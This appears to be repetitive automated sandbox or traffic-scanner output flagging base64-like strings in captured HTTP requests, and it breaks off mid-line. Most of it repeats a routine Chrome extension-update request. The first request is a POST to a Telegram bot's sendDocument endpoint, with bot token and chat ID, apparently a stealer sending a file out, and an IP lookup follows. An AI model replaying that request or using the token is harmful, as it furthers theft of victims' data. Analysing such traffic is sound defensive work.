/bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "Type" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "data" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "3d17aadf" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "3e9d" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "4760" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "8735" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "93916096ec42" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "Host" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "telegram" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "Keep" in header "GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive" Contains base64 string in header "/service/update2/crx" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "3800" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "crx3" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "puff" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "26uc" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "clients2" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "0Sec" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Goog" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Language" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "ggCfzR2U6y05dzTBIn8L97Accept" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: ggCfzR2U6y05dzTBIn8L97Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "/service/update2/crx" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "3800" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "crx3" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "puff" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "26uc" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "clients2" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "0Sec" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Goog" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Language" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: 